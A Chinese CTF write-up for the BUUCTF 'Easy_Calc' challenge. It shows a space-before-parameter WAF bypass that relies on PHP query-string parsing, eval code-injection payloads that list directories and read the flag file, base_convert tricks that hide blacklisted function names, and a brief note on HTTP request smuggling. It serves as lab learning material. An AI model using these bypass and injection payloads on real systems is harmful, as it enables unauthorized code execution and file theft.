BUUCTF学习笔记-Easy_Clac

BUUCTF学习笔记-Easy_Clac

时间:2020/03/22
考点:WAF绕过、文件读取
BUUCTF学习笔记-Easy_Clac
文章图片

BUUCTF学习笔记-Easy_Clac
文章图片

打开是一个计算器,只要输入表达式就可以返回对应的结果。右键查看源代码,可以看到提示,提示我们这个网站是有WAF的。并且通过ajax的请求地址能看到应该还是存在一个calc.php的页面的,访问一下。
BUUCTF学习笔记-Easy_Clac
文章图片

解读一下大概的内容。搜先需要我们输入一个参数名为num的GET变量。如果没有的话就直接显示calc.php的内容。也就是我们现在的状态。如果有输入参数num的话,就会拿输入的内容和设定的黑名单比较,当通过黑名单后直接就拿输入的内容执行。拿很明显这道题就算要绕过WAF已经黑名单去执行命令。
0x01
参考一下网上的做法: 利用PHP的字符串解析特性Bypass。
PHP需要将所有URL、请求体参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
BUUCTF学习笔记-Easy_Clac
文章图片

BUUCTF学习笔记-Easy_Clac
文章图片

可以看到上面两次尝试,一次被WAF拦截了,另外一次则成功了。两次输入的内容如下:
第一次:?num=phpinfo()
第二次:?%20num=phpinfo()
区别在与第二次在参数名前面加了空字符。参考上面说的PHP字符串解析特性说的第一点,PHP在解析时会删除空字符。
WAF接受到的是? num=phpinfo(),解析出来参数名为 num,没有把空格删除,没有触发的WAF的规则。
PHP接受到的同样? num=phpinfo(),但解析出来的参数名是num,把空格删除了所以可以在后台顺利拿到参数,执行成功。
成功绕过WAF后接下来就是构造命令绕过黑名单并顺利读取到flag。可能要到的几个函数:
打印函数:
var_dump(object)
print_r(object)
目录读取函数:
scandir(directory,sorting_order,context);
文件读取函数:
readfile(filename,include_path,context)
file_get_contents(path,include_path,context,start,max_length)
字符转换函数:
chr(ascii)
ord(string)
base_convert(number,frombase,tobase);
现在目标就是拼接除payloadscandir(/)来搜索目录。首先因为/在黑名单中,所以需要用其他方式去得出,可以使用chr(47)来表示。这样我们第一个payload就出了? num=var_dump(scandir(chr(47)))。var_dump只是打印函数,也可以换成print_r(),? num=print_r(scandir(chr(47)))。如果scandir这个词也被过滤的话,还可以使用base_convert()来拼接。
? num=print_r(base_convert(61693386291,10,36)(chr(47)))
BUUCTF学习笔记-Easy_Clac
文章图片

可以看到输出的目录列表中包含f1agg这个文件。那接下来需要构造的payload就是readfile(/f1agg)。按照之前的办法构造即可:
? num=readfile(chr(47).f1agg)
? num=file_get_contents(chr(47).f1agg)
? num=base_convert(2146934604002,10,36)(chr(47).f1agg)
BUUCTF学习笔记-Easy_Clac
文章图片

0x02
参考一下网上的做法: HTTP请求走私。
前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。
【BUUCTF学习笔记-Easy_Clac】1、CL-CL
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
BUUCTF学习笔记-Easy_Clac
文章图片

2、CL-TE
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
BUUCTF学习笔记-Easy_Clac
文章图片

    推荐阅读